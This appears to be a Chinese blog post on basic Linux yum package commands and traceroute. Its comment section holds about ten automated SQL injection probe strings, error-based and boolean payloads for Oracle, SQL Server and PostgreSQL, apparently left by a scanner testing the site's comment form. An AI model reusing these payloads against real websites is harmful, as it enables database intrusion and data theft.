linux基础(3)

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1.使用YUM查找软件包 

yum search

2.列出所有可安装的软件包 

yum list

3.列出所有可更新的软件包 

yum list updates

4.列出所有已安装的软件包 

yum list installed

5.列出所有已安装但不在 Yum Repository 内的软件包 

yum list extras

6.列出所指定的软件包 

yum list

7.使用YUM获取软件包信息 

yum info

8.列出所有软件包的信息 

yum info

9.列出所有可更新的软件包信息 

yum info updates

10.列出所有已安装的软件包信息 

yum info installed

11.列出所有已安装但不在 Yum Repository 内的软件包信息 

yum info extras

12.列出软件包提供哪些文件 

yum provides

 

13.查看追踪域名路由

yum install -y traceroute

traceroute www.cdstm.cn

全部评论

2020-01-06 19:08
angelina') AND 5104=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (5104=5104) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND ('bmBF'='bmBF
2020-01-06 19:08
angelina AND 6137 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6137=6137) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)))-- hHRw
2020-01-06 19:08
angelina AND 6137 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6137=6137) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)))
2020-01-06 19:08
angelina) AND 6137 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6137=6137) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113))) AND (2553=2553
2020-01-06 19:08
angelina' AND 6137 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6137=6137) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113))) AND 'ddSX'='ddSX
2020-01-06 19:08
angelina') AND 6137 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6137=6137) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113))) AND ('KCDV'='KCDV
2020-01-06 19:08
angelina AND 5730=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (5730=5730) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)-- oXZX
2020-01-06 19:08
angelina AND 5730=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (5730=5730) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)
2020-01-06 19:08
angelina) AND 5730=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (5730=5730) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC) AND (7466=7466
2020-01-06 19:08
angelina' AND 5730=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (5730=5730) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC) AND 'AlOS'='AlOS